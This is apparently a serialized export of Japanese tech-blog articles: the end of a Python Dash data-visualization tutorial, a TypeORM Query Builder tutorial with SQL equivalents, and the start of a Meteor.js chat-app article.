configs\n",[703,24425,24423],{"__ignoreMap":64},[11,24427,24428],{},"上記のコードには、",[31,24430,24431,24434],{},[34,24432,24433],{},"convert_py_datetime_format関数は、yyyyMMdd HH:mm:ss.fffの形式をPython形式に変換するために用いられます。",[34,24435,24436],{},"extract_csv_col_config関数は、configを含む列名を受け取り、config文字列が除外された列名及びその列のconfigを含むarrayを返します。例えば、DATA 1(minFilter=20;maxFilter=100)は、DATA 1とarray [(minFilter, 20), (maxFilter, 100)]を返します。",[11,24438,24439],{},"次に、process_csv_variable関数をapp.pyに追加します。",[696,24441,24444],{"className":24442,"code":24443,"language":701},[699],"from datetime import datetime, timedelta\n\nimport dash\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc, Output, Input\nfrom dash import html\n\nfrom utils import extract_csv_col_config, convert_py_datetime_format\n\ndef process_csv_variable(df_param):\n   # process x-axis csv variable\n   old_x_col_name = df_param.columns[0]\n   new_x_col_name, configs = extract_csv_col_config(old_x_col_name)\n   datetime_format = configs[0][0]\n   df_param = df_param.rename(columns={old_x_col_name: new_x_col_name})\n   df_param[new_x_col_name] = pd.to_datetime(df_param[new_x_col_name],\n                                             format=convert_py_datetime_format(datetime_format))\n   # process y-axis csv variable\n   y_col_name_list = df_param.columns[1:]\n   for old_y_col_name in y_col_name_list:\n       new_y_col_name, configs = extract_csv_col_config(old_y_col_name)\n       df_param = df_param.rename(columns={old_y_col_name: new_y_col_name})\n       for config, value in configs:\n           if config == 'minFilter':\n               df_param.loc[df_param[new_y_col_name] \u003C int(value), new_y_col_name] = np.nan\n           elif config == 'maxFilter':\n               df_param.loc[df_param[new_y_col_name] > int(value), new_y_col_name] = np.nan\n   return df_param\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div(id='container', children=[\n   dcc.DatePickerRange(\n       id='date-picker-range',\n       minimum_nights=0,\n       display_format='YYYY\u002FMM\u002FDD'\n   ),\n   dcc.Graph(id='scatter-graph'),\n])\n\n@app.callback(\n   Output('date-picker-range', 'start_date'),\n   Output('date-picker-range', 'end_date'),\n   Input('container', 'id')\n)\ndef update_date_picker(id):\n   df = pd.read_csv('csv\u002Fapp_sample.csv')\n   df = process_csv_variable(df)\n   x_col_name = df.columns[0]\n\n   init_start_date = df[x_col_name].min().strftime('%Y-%m-%d')\n   init_end_date = df[x_col_name].max().strftime('%Y-%m-%d')\n   return init_start_date, init_end_date\n\n@app.callback(\n   Output('scatter-graph', 'figure'),\n   Input('date-picker-range', 'start_date'),\n   Input('date-picker-range', 'end_date')\n)\ndef update_figure(start_date, end_date):\n   df = pd.read_csv('csv\u002Fapp_sample.csv')\n   df = process_csv_variable(df)\n   if start_date is not None and end_date is not None:\n       start_date = datetime.fromisoformat(start_date)\n       end_date = datetime.fromisoformat(end_date) + timedelta(days=1)\n       # get first columns name for x-axis\n       x_col_name = df.columns[0]\n       # get list column name except first column for y-axis\n       y_col_name_list = df.columns[1:]\n       filtered_df = df[(start_date \u003C= df[x_col_name]) & (df[x_col_name] \u003C= end_date)]\n       scatter_fig = px.scatter(filtered_df, x=x_col_name, y=y_col_name_list)\n\n       return scatter_fig\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,24445,24443],{"__ignoreMap":64},[11,24447,24448],{},"process_csv_variable関数はDataFrameを受け取り、列名からconfigを読み取りconfigによるデータを処理してからDataFrameを返します。 今、csv\u002Fapp_sample.csvファイルを追加してテストします。",[696,24450,24453],{"className":24451,"code":24452,"language":701},[699],"DateTime(yyyyMMdd HH:mm:ss.fff),DATA 1(minFilter=20;maxFilter=100),DATA 2(maxFilter=140),DATA 3,DATA 4,DATA 5\n20211219 101010.010,10,200,178,90,110\n20211219 111010.020,20,150,134,25,120\n20211219 121010.030,5,130,210,11,90\n20211219 131010.040,15,110,100,-97,80\n20211219 141010.050,60,150,143,-17,130\n20211219 151010.060,30,140,132,30,140\n20211219 161010.070,20,180,167,45,150\n20211219 171010.080,16,120,240,123,160\n20211219 181010.090,75,190,153,40,150\n20211219 191010.100,90,250,162,-10,170\n20211220 001010.000,68,142,156,1,180\n20211220 011010.010,40,110,134,65,130\n20211220 021010.020,50,140,214,149,190\n20211220 031010.030,60,150,169,-98,200\n20211220 041010.040,70,160,204,-173,190\n20211220 051010.050,80,170,164,-108,180\n20211220 061010.060,90,180,148,150,170\n20211220 071010.070,100,190,180,92,150\n20211220 081010.080,110,200,268,94,160\n20211220 091010.090,120,210,164,-139,140\n20211220 101010.100,130,220,254,-132,130\n20211221 001010.000,10,90,142,30,150\n20211221 011010.010,30,100,162,55,160\n20211221 021010.020,80,120,180,20,170\n20211221 031010.030,70,110,176,-10,110\n20211221 041010.040,50,130,194,-90,90\n20211221 051010.050,60,140,202,-120,80\n20211221 061010.060,90,150,164,100,70\n20211221 071010.070,120,160,197,132,60\n20211221 081010.080,110,170,186,40,50\n20211221 091010.090,130,210,182,-130,40\n20211221 101010.100,120,230,210,-100,30\n",[703,24454,24452],{"__ignoreMap":64},[11,24456,24457,24458,24345,24461,24349],{},"ターミナルでは",[703,24459,24460],{},"python app.py",[57,24462,24285],{"href":24285,"rel":24463},[61],[530,24465],{"className":24466,"alt":64,"src":24467,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31150435\u002Fapp_demo1-1024x371.png",[11,24469,24470],{},"結果を確認しやすくするために、他のデータを非表示にしDATA1のみを表示します。",[530,24472],{"className":24473,"alt":64,"src":24474,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31150508\u002Fapp_demo2-1024x373.png",[11,24476,24477],{},"20より小さい値及び100より大きい値のデータが除外されていることがわかります。",[487,24479,13911],{"id":13911},[11,24481,24482],{},[57,24483,24484],{"href":24484,"rel":24485},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Fpython-dash-sample",[61],[487,24487,5084],{"id":5084},[11,24489,24490],{},[57,24491,24492],{"href":24492,"rel":24493},"https:\u002F\u002Fdash.plotly.com\u002F",[61],[11,24495,24496],{},[57,24497,24498],{"href":24498,"rel":24499},"https:\u002F\u002Fpandas.pydata.org\u002Fdocs\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":24501},[24502],{"id":24000,"depth":1375,"text":24000},"2022-01-25","Dash とは DashはMITライセンスで公開されているオープンソースのライブラリです。このライブラリは、Plotly.js、ReactJs上に構築されています。Dashは、カスタム化されるUI（ユーザーインターフェイス）を備えたデータ可視化アプリを構築するのに理想的です。Dashは非常に簡単なので10分未満でUIをソースコードにバインドできます。DashはWebブラウザーにレンダリングされるため、クロスプラットフォーム及びモバイルデバイスで実行できます。",{},"\u002Fja\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash",{"title":23984,"description":24504},"ja\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F04082100\u002Fpython_dash.png","INCy47r5uXzXHEwmw2rnuPeCi93vuf9fqsM7v0SPgpc",{"id":24512,"title":24513,"body":24514,"category":67,"created by":5928,"date":24521,"description":24518,"extension":71,"meta":24522,"navigation":73,"path":24523,"sections":75,"seo":24524,"stem":24525,"thumbnail":24526,"__hash__":24527},"content_ja\u002Fja\u002Fnews\u002Ftuyen-dung-experienced-it-communicator.md","(Vietnamese) Tuyển dụng Experienced IT Communicator",{"type":8,"value":24515,"toc":24519},[24516],[11,24517,24518],{},"申し訳ありません、このコンテンツには日本語のページがありません。言語の変更をお願いします。",{"title":64,"searchDepth":65,"depth":65,"links":24520},[],"2025-07-14",{},"\u002Fja\u002Fnews\u002Ftuyen-dung-experienced-it-communicator",{"title":24513,"description":24518},"ja\u002Fnews\u002Ftuyen-dung-experienced-it-communicator","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F07\u002F14161503\u002FWe-are-1-e1752484829402.png","-3fHX34GqVKYlvZyEaf8YOtbMO35gZWTeVeBQKDAOpM",{"id":24529,"title":24530,"body":24531,"category":1388,"created by":68,"date":25058,"description":25059,"extension":71,"meta":25060,"navigation":73,"path":25061,"sections":75,"seo":25062,"stem":25063,"thumbnail":25064,"__hash__":25065},"content_ja\u002Fja\u002Fnews\u002Ftypeorm.md","TypeORMおよびTypeORMのQuery Builder",{"type":8,"value":24532,"toc":25043},[24533,24537,24540,24543,24546,24549,24552,24556,24559,24562,24565,24568,24572,24575,24578,24581,24584,24587,24590,24596,24599,24605,24608,24614,24620,24623,24629,24635,24638,24644,24650,24653,24659,24665,24671,24673,24679,24685,24691,24693,24699,24705,24711,24713,24719,24725,24731,24733,24739,24745,24748,24751,24756,24762,24764,24770,24775,24781,24783,24789,24793,24799,24804,24810,24815,24821,24826,24829,24832,24838,24844,24847,24853,24857,24863,24865,24870,24874,24880,24882,24887,24891,24897,24899,24904,24908,24914,24916,24921,24925,24931,24933,24938,24943,24949,24955,24959,24965,24967,24973,24977,24983,24985,24991,24995,25001,25005,25011,25015,25021,25023,25026,25029,25032,25035,25037],[495,24534,24535],{"id":19125},[20,24536,19125],{},[11,24538,24539],{},"TypeORMとは、NodeJS、Browser、Cordova、PhoneGap、Ionic、React Native、NativeScript、Expo、Electronといった各プラットフォームで実行でき、TypeScriptおよびJavaScript（ES5、ES6、ES7、ES8）を共用できるORMをいいます。TypeORMの目的としてはJavaScriptの最新機能をサポートでき、追加機能を提供することです。これにより、テーブルの少ないデータベースを使った小規模から、複数のデータベースを使った大規模までのアプリケーションを開発することができます。",[11,24541,24542],{},"ORMとはエンティティとデータベースのテーブルとをマップする手法をいいます。 ORMは、オブジェクトからテーブルへの変換およびテーブルからオブジェクトへの変換を自動化することにより、開発プロセスを簡素化します。",[660,24544,24545],{"id":24545},"概要",[11,24547,24548],{},"TypeORMはnode.jsで実行される、TypeScriptで作ったObject Relational Mapperライブラリです。 TypeScriptは任意の入力機能を備えたJavaScriptの改良版であり、実行時に解釈しないコンパイラ型言語です。TypeScriptのコンパイラは、TypeScript（.ts）ファイルをJavaScript（.js）ファイルにコンパイルします。",[11,24550,24551],{},"TypeORMは、MySQL、PostgreSQL、MariaDB、SQLite、MS SQL Server、Oracle、SAP Hana、WebSQLといった色々なデータベースをサポートしています。TypeORMはデータベースに接続するようなアプリケーションを新規作成するために使いやすいORMです。TypeORMの機能はRDBMS向けの概念です。",[660,24553,24555],{"id":24554},"typeormの特徴","TypeORMの特徴",[11,24557,24558],{},"モデルをもとにデータベースのスキーマを作成することを自動化",[11,24560,24561],{},"データベースへのオブジェクトの登録・更新・削除が易い",[11,24563,24564],{},"テーブルの間とのマッピング作成（1対1、1対多、多対多）",[11,24566,24567],{},"簡単なCLIコマンドの提供",[660,24569,24571],{"id":24570},"typeormの利点","TypeORMの利点",[11,24573,24574],{},"TypeORMは簡単な実装でORMフレームワークを利用しやすいです。以下にその利点を示します。",[11,24576,24577],{},"1. 高品質で疎結合のアプリケーション",[11,24579,24580],{},"2. 拡張可能なアプリケーション",[11,24582,24583],{},"3. 他のモジュールとの結合が易い",[11,24585,24586],{},"4. 小規模アプリケーションから大規模な企業アプリケーションまでのあらゆるアーキテクチャに適合する",[11,24588,24589],{},"TypeORMは機能が沢山ありますが、この記事では、TypeScriptとTypeORMのQueryBuilderの使い方について説明させていただきます。",[495,24591,24593],{"id":24592},"query-builder",[20,24594,24595],{},"Query Builder",[11,24597,24598],{},"Query Builderは複雑なSQL文を簡単に作るために使われ、Connectionメソッドから初期化されます。",[660,24600,24602],{"id":24601},"connection",[20,24603,24604],{},"Connection",[11,24606,24607],{},"ConnectionメソッドでのQueryBuilderの使い方について、簡単な例を見てみましょう。",[696,24609,24612],{"className":24610,"code":24611,"language":701},[699],"import {getConnection} from \"typeorm\";\n\nconst user = await getConnection()\n.createQueryBuilder()\n.from(\"user\", \"user\")\n.select(\"user\")\n.where(\"user.id = :id\", { id: 1 })\n.getOne();\n",[703,24613,24611],{"__ignoreMap":64},[660,24615,24617],{"id":24616},"repository",[20,24618,24619],{},"Repository",[11,24621,24622],{},"以下のように、Query Builderを作成するためにRepositoryを使えます。",[696,24624,24627],{"className":24625,"code":24626,"language":701},[699],"import {getRepository} from \"typeorm\"; \nconst user = await getRepository(User)\n.createQueryBuilder(\"user\")\n.where(\"user.id = :id\", { id: 1 }) \n.getOne();\n",[703,24628,24626],{"__ignoreMap":64},[660,24630,24632],{"id":24631},"adding-expression-use-getconnection-no-model-needed",[20,24633,24634],{},"Adding expression use getConnection (no model needed)",[11,24636,24637],{},"table user: id, name, age",[11,24639,24640,24643],{},[20,24641,24642],{},"where"," は取得条件を満たすレコードを絞るために使われます。",[696,24645,24648],{"className":24646,"code":24647,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").select(\"user\") .where(\"user.id = :id\", { id: 1 }) .getRawOne();\n",[703,24649,24647],{"__ignoreMap":64},[11,24651,24652],{},"上記のクエリは下記のクエリに相当します。",[696,24654,24657],{"className":24655,"code":24656,"language":701},[699],"select * from user where user.id=1;\n",[703,24658,24656],{"__ignoreMap":64},[11,24660,24661,24664],{},[20,24662,24663],{},"orderBy"," はカラムの順序でレコードを並び替えるために使われます。",[696,24666,24669],{"className":24667,"code":24668,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").orderBy(\"user.name\");\n",[703,24670,24668],{"__ignoreMap":64},[11,24672,24652],{},[696,24674,24677],{"className":24675,"code":24676,"language":701},[699],"select * from user order by user.name;\n",[703,24678,24676],{"__ignoreMap":64},[11,24680,24681,24684],{},[20,24682,24683],{},"groupBy"," は指定したカラムでレコードをグループ化するために使われます。",[696,24686,24689],{"className":24687,"code":24688,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").groupBy(\"user.id\")\n",[703,24690,24688],{"__ignoreMap":64},[11,24692,24652],{},[696,24694,24697],{"className":24695,"code":24696,"language":701},[699],"select * from user group by user.id; \n",[703,24698,24696],{"__ignoreMap":64},[11,24700,24701,24704],{},[20,24702,24703],{},"limit"," は取得件数を指定するために使われます。",[696,24706,24709],{"className":24707,"code":24708,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").limit(5);\n",[703,24710,24708],{"__ignoreMap":64},[11,24712,24652],{},[696,24714,24717],{"className":24715,"code":24716,"language":701},[699],"select * from user limit 5; \n",[703,24718,24716],{"__ignoreMap":64},[11,24720,24721,24724],{},[20,24722,24723],{},"offset"," は取得を開始する位置を指定するために使われます。",[696,24726,24729],{"className":24727,"code":24728,"language":701},[699],"getConnection().createQueryBuilder().from(\"user\", \"user\").offset(5);\n",[703,24730,24728],{"__ignoreMap":64},[11,24732,24652],{},[696,24734,24737],{"className":24735,"code":24736,"language":701},[699],"select * from user offset 5;\n",[703,24738,24736],{"__ignoreMap":64},[11,24740,24741,24744],{},[20,24742,24743],{},"joins"," は、関連する列に基づいて、2つ以上のテーブルの行を結合するために使われます。例えば、 「student」テーブルと「project」テーブルがあり、そのリレーションが1対多です。",[11,24746,24747],{},"student:  id, name, email, phone",[11,24749,24750],{},"project : id, name, student_id",[11,24752,24753],{},[20,24754,24755],{},"leftJoinAndSelect",[696,24757,24760],{"className":24758,"code":24759,"language":701},[699],"const student = await getConnection().createQueryBuilder().from(\"student\", \"student\")\n.leftJoinAndSelect(\"project\", \"project\", \"project.student_id = student.id\")\n.where(\"student.name = :name\", { name: \"Student1\" })\n.getOne();\n",[703,24761,24759],{"__ignoreMap":64},[11,24763,24652],{},[696,24765,24768],{"className":24766,"code":24767,"language":701},[699],"SELECT student.*, project.* FROM student student LEFT JOIN project project \nON project.student_id = student.id WHERE student.name = 'Student1'\n",[703,24769,24767],{"__ignoreMap":64},[11,24771,24772],{},[20,24773,24774],{},"innerJoinAndSelect",[696,24776,24779],{"className":24777,"code":24778,"language":701},[699],"const student = await getConnection().createQueryBuilder().from(\"student\", \"student\") \n.innerJoinAndSelect(\"project\", \"project\", \"project.student_id = student.id\") .where(\"student.name = :name\", { name: \"student1\" }) .getOne();\n",[703,24780,24778],{"__ignoreMap":64},[11,24782,24652],{},[696,24784,24787],{"className":24785,"code":24786,"language":701},[699],"SELECT student.*, project.* FROM student student INNER JOIN project project \nON project.student_id = student.id WHERE student.name = 'student1';\n",[703,24788,24786],{"__ignoreMap":64},[11,24790,24791],{},[20,24792,1288],{},[696,24794,24797],{"className":24795,"code":24796,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getConnection()\n.createQueryBuilder()\n.insert() \n.into('student') \n.values([ { name: \"test\", email: \"test@gmail.com\", phone: \"09011112222\"},\n { name: \"test2\", email: \"test2@gmail.com\", phone: \"09011112222\"}\n]) \n.execute();\n",[703,24798,24796],{"__ignoreMap":64},[11,24800,24801],{},[20,24802,24803],{},"Update",[696,24805,24808],{"className":24806,"code":24807,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getConnection().createQueryBuilder() \n.update('student') \n.set({ name: \"test3\", email: \"test3@gmail.com\"}) \n.where(\"id = :id\", { id: 1 }) \n.execute(); \n",[703,24809,24807],{"__ignoreMap":64},[11,24811,24812],{},[20,24813,24814],{},"Delete",[696,24816,24819],{"className":24817,"code":24818,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\n await getConnection() \n.createQueryBuilder() \n.delete()\n.from('student')\n.where(\"id = :id\", { id: 1 }) .execute();\n",[703,24820,24818],{"__ignoreMap":64},[11,24822,24823],{},[20,24824,24825],{},"Subqueries",[11,24827,24828],{},"例1：subQueryを使うことで、「email」に”test”が含まれているレコードの「name」を「student」テーブルから取得します。",[11,24830,24831],{},"例2：subQueryを使うことで、「studentId」、「studentName」、「name」に”test”が含まれているレコードの大きな「projectId」を「project」テーブルから取得します。",[696,24833,24836],{"className":24834,"code":24835,"language":701},[699],"const student = await getConnection().createQueryBuilder().select(\"student.name\", \"name\") \n.from((subQuery) => { return subQuery.select(\"student.name\", \"name\") \n                     .from(\"student\", \"student\").where(\"student.email like :email\", { email: '%test%'}) },\n                   \"student\") .getRawMany();\n\nconst student = await getConnection().createQueryBuilder()\n.select(`student.id as studentId,student.name as studentName,project.id as projectId`)) \n.from(\"student\", \"student\").leftJoin(\"project\", \"project\", \"project.student_id = student.id\")\n.where (\"project.id = (select max(id) from project where name like '%test%' \")).getRawMany();\n",[703,24837,24835],{"__ignoreMap":64},[660,24839,24841],{"id":24840},"adding-expression-use-getrepository-with-model",[20,24842,24843],{},"Adding expression use getRepository() with model",[11,24845,24846],{},"例えば、以下のようなUserモデルがあります。",[696,24848,24851],{"className":24849,"code":24850,"language":701},[699],"import {Entity, PrimaryGeneratedColumn, Column} from \"typeorm\";\n\n@Entity('user') \nexport class User { \n@PrimaryGeneratedColumn() \nid: number;\n \n@Column('varchar', {name: 'name', nullable: true, length: 50}) \nname: string | null; \n\n@Column('int', {name: 'age', nullable: true}) \nname: number | null; \n}\n",[703,24852,24850],{"__ignoreMap":64},[11,24854,24855,24643],{},[20,24856,24642],{},[696,24858,24861],{"className":24859,"code":24860,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\").where(\"user.id= :id\", { id: 1 });\n",[703,24862,24860],{"__ignoreMap":64},[11,24864,24652],{},[696,24866,24868],{"className":24867,"code":24656,"language":701},[699],[703,24869,24656],{"__ignoreMap":64},[11,24871,24872,24664],{},[20,24873,24663],{},[696,24875,24878],{"className":24876,"code":24877,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\").orderBy(\"user.name\");\n",[703,24879,24877],{"__ignoreMap":64},[11,24881,24652],{},[696,24883,24885],{"className":24884,"code":24676,"language":701},[699],[703,24886,24676],{"__ignoreMap":64},[11,24888,24889,24684],{},[20,24890,24683],{},[696,24892,24895],{"className":24893,"code":24894,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\") .groupBy(\"user.id\")\n",[703,24896,24894],{"__ignoreMap":64},[11,24898,24652],{},[696,24900,24902],{"className":24901,"code":24696,"language":701},[699],[703,24903,24696],{"__ignoreMap":64},[11,24905,24906,24704],{},[20,24907,24703],{},[696,24909,24912],{"className":24910,"code":24911,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\").limit(5);\n",[703,24913,24911],{"__ignoreMap":64},[11,24915,24652],{},[696,24917,24919],{"className":24918,"code":24716,"language":701},[699],[703,24920,24716],{"__ignoreMap":64},[11,24922,24923,24724],{},[20,24924,24723],{},[696,24926,24929],{"className":24927,"code":24928,"language":701},[699],"getRepository(User).createQueryBuilder(\"user\") .offset(5);\n",[703,24930,24928],{"__ignoreMap":64},[11,24932,24652],{},[696,24934,24936],{"className":24935,"code":24736,"language":701},[699],[703,24937,24736],{"__ignoreMap":64},[11,24939,24940,24942],{},[20,24941,24743],{}," は、関連する列に基づいて、2つ以上のテーブルの行を結合するために使われます。以下の2つのエンティティを見ましょう。",[696,24944,24947],{"className":24945,"code":24946,"language":701},[699],"import {Entity, PrimaryGeneratedColumn, Column, OneToMany} from \"typeorm\";\nimport {Project} from \".\u002FProject\"; \n\n@Entity('student')\nexport class Student { \n@PrimaryGeneratedColumn()\nid: number; \n\n@Column('varchar', {name: 'name', nullable: true, length: 50})\nname: string | null;\n\n@Column('varchar', {name: 'email', nullable: true, length: 30})\nemail: string | null;\n\n@Column('varchar', {name: 'phone', nullable: true, length: 11})\nphone: string | null;\n\n@OneToMany(()=> Project, project => project.student) \nprojects: project[]; \n} \n",[703,24948,24946],{"__ignoreMap":64},[696,24950,24953],{"className":24951,"code":24952,"language":701},[699],"import {Entity, PrimaryGeneratedColumn, Column, ManyToOne}\n\nfrom \"typeorm\"; import {Student} from \".\u002FStudent\";\n\n@Entity('project') \nexport class Project {\n\n@PrimaryGeneratedColumn() \nid: number;\n\n@Column('varchar', {name: 'name', nullable: true, length: 50})\nname: string | null;\n\n@Column('bigint', {name: 'student_id', nullable: true, unsigned: true})\nstudentId: number | null;\n\n@ManyToOne(() => Student, student => student.projects)\n@JoinColumn([{name: 'student_id', referencedColumnName: 'id'}])\nstudent : Student;\n}\n",[703,24954,24952],{"__ignoreMap":64},[11,24956,24957],{},[20,24958,24755],{},[696,24960,24963],{"className":24961,"code":24962,"language":701},[699],"const student = await getRepository(Student).createQueryBuilder(\"student\")\n.leftJoinAndSelect(\"student.projects\", \"project\")\n.where(\"student.name = :name\", { name: \"Student1\" })\n.getOne();\n",[703,24964,24962],{"__ignoreMap":64},[11,24966,24652],{},[696,24968,24971],{"className":24969,"code":24970,"language":701},[699],"SELECT student.*, project.* FROM student student LEFT JOIN projects project \nON project.student = student.id WHERE student.name = 'Student1'\n",[703,24972,24970],{"__ignoreMap":64},[11,24974,24975],{},[20,24976,24774],{},[696,24978,24981],{"className":24979,"code":24980,"language":701},[699],"const student = await getRepository(Student).createQueryBuilder(\"student\")\n.innerJoinAndSelect(\"student.projects\", \"project\")\n.where(\"student.name = :name\", { name: \"student1\" })\n.getOne();\n",[703,24982,24980],{"__ignoreMap":64},[11,24984,24652],{},[696,24986,24989],{"className":24987,"code":24988,"language":701},[699],"SELECT student.*, project.* FROM students student INNER JOIN projects project \nON project.student = student.id WHERE student.name = 'Student1';\n",[703,24990,24988],{"__ignoreMap":64},[11,24992,24993],{},[20,24994,1288],{},[696,24996,24999],{"className":24997,"code":24998,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getRepository(Student)\n.createQueryBuilder() \n.insert() \n.into(Student) \n.values([ { name: \"test\", email: \"test@gmail.com\", phone: \"09011112222\"}, \n{ name: \"test2\", email: \"test2@gmail.com\", phone: \"09011112222\"} ]) \n.execute();\n",[703,25000,24998],{"__ignoreMap":64},[11,25002,25003],{},[20,25004,24803],{},[696,25006,25009],{"className":25007,"code":25008,"language":701},[699],"import {getConnection} from \"typeorm\"; \n\nawait getRepository(Student)\n.createQueryBuilder() \n.update(Student) \n.set({ name: \"test3\", email: \"test3@gmail.com\"}) \n.where(\"id = :id\", { id: 1 }) .execute();\n",[703,25010,25008],{"__ignoreMap":64},[11,25012,25013],{},[20,25014,24814],{},[696,25016,25019],{"className":25017,"code":25018,"language":701},[699],"import {getConnection} from \"typeorm\"; \nawait getRepository(Student).createQueryBuilder() \n.delete() \n.from(Student) \n.where(\"id = :id\", { id: 1 }) \n.execute();\n",[703,25020,25018],{"__ignoreMap":64},[495,25022,6700],{"id":6700},[11,25024,25025],{},"簡単なものから複雑なものまでクエリ文を作成できるため、Query Builderを使用することをお勧めします。",[11,25027,25028],{},"シンタックスは純粋なクエリとほぼ同じなので、実装しやすくて、可読性が高いです。",[11,25030,25031],{},"モデル宣言なしで普通どおりにQuery Builderを使うことができます。",[11,25033,25034],{},"パフォーマンス面でQuery Builder利用による抽出時間はTypeORMの既存APIリポジトリの利用よりも早いです。",[495,25036,5084],{"id":5084},[11,25038,25039],{},[57,25040,25041],{"href":25041,"rel":25042},"https:\u002F\u002Ftypeorm.io\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":25044},[25045,25050,25056,25057],{"id":19125,"depth":65,"text":19125,"children":25046},[25047,25048,25049],{"id":24545,"depth":1375,"text":24545},{"id":24554,"depth":1375,"text":24555},{"id":24570,"depth":1375,"text":24571},{"id":24592,"depth":65,"text":24595,"children":25051},[25052,25053,25054,25055],{"id":24601,"depth":1375,"text":24604},{"id":24616,"depth":1375,"text":24619},{"id":24631,"depth":1375,"text":24634},{"id":24840,"depth":1375,"text":24843},{"id":6700,"depth":65,"text":6700},{"id":5084,"depth":65,"text":5084},"2022-06-29","初めに TypeORMとは、NodeJS、Browser、Cordova、PhoneGap、Ionic、React Native、NativeScript、Expo、Electronといった各プラットフォームで実行でき、TypeScriptおよびJavaScript（ES5、ES6、ES7、ES8）を共用できるORMをいいます。TypeORMの目的としてはJavaScriptの最新機能をサポートでき、追加機能を提供することです。これにより、テーブルの少ないデータベースを使った小規模から、複数のデータベースを使った大規模までのアプリケーションを開発することができます。",{},"\u002Fja\u002Fnews\u002Ftypeorm",{"title":24530,"description":25059},"ja\u002Fnews\u002Ftypeorm","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F06\u002F08154314\u002Fquerybuilder-typeorm.jpg","wAQ4rNXwCP3S1A-I-8YSr586mrz61C8wAeWn0CcPRhI",{"id":25067,"title":25068,"body":25069,"category":1388,"created by":25808,"date":25809,"description":25810,"extension":71,"meta":25811,"navigation":73,"path":25812,"sections":75,"seo":25813,"stem":25814,"thumbnail":25815,"__hash__":25816},"content_ja\u002Fja\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js.md","Meteor.jsフレームワークを使ったRealtime Chatアプリのビルド",{"type":8,"value":25070,"toc":25798},[25071,25075,25078,25081,25087,25090,25096,25102,25108,25114,25120,25126,25132,25139,25145,25150,25153,25159,25172,25178,25181,25187,25191,25206,25212,25215,25219,25226,25232,25239,25243,25247,25251,25257,25283,25289,25308,25313,25320,25326,25331,25335,25338,25343,25349,25355,25365,25371,25376,25382,25392,25395,25401,25407,25425,25434,25440,25446,25455,25461,25468,25474,25477,25483,25489,25495,25501,25504,25513,25517,25522,25526,25532,25541,25547,25553,25559,25562,25566,25569,25579,25585,25593,25599,25606,25612,25618,25624,25629,25635,25640,25646,25653,25659,25662,25666,25669,25673,25678,25682,25684,25687,25700,25703,25715,25718,25730,25733,25745,25748,25760,25762,25765,25770,25776,25779,25781,25787,25793],[487,25072,25073],{"id":5240},[20,25074,5240],{},[11,25076,25077],{},"Meteor（Meteor.js）は、Node.jsをベースにしたフルスタックJavaScriptフレームワークであり、Webおよびモバイルアプリケーションの迅速かつ効率的な開発を可能にします。クライアントとサーバー間のスムーズな統合を最適化した設計により、Meteorはコード共有プロセスを簡素化するだけでなく、リアルタイムデータのエクスペリエンスを向上させます。",[11,25079,25080],{},"もし、迅速なアプリケーション開発のソリューションを探している場合、または最新のWeb技術に関する知識を広げたい場合は、この記事がMeteorについての概要と深い洞察を提供します。",[487,25082,25084],{"id":25083},"meteorの特徴",[20,25085,25086],{},"Meteorの特徴",[11,25088,25089],{},"このセクションでは、Meteorの際立った特徴をさらに詳しく探り、このフレームワークがWebおよびモバイル開発分野でどのように差別化され、ユニークであるかを見ていきます。",[11,25091,25092,25095],{},[20,25093,25094],{},"クライアントとサーバーとのスムーズな統合","：Meteorは自動的なデータ同期モデルを提供し、複雑なデータ同期コードを書く必要なく、クライアントとサーバーの両方でデータをリアルタイムに更新することを可能にします。",[11,25097,25098,25101],{},[20,25099,25100],{},"クライアントとサーバーとのコード共有","：Meteorを使用すると、コード共有が容易になり、アプリケーションの開発および保守プロセスを最適化できます。",[11,25103,25104,25107],{},[20,25105,25106],{},"リアルタイムデータの更新","：MeteorはDDP（Distributed Data 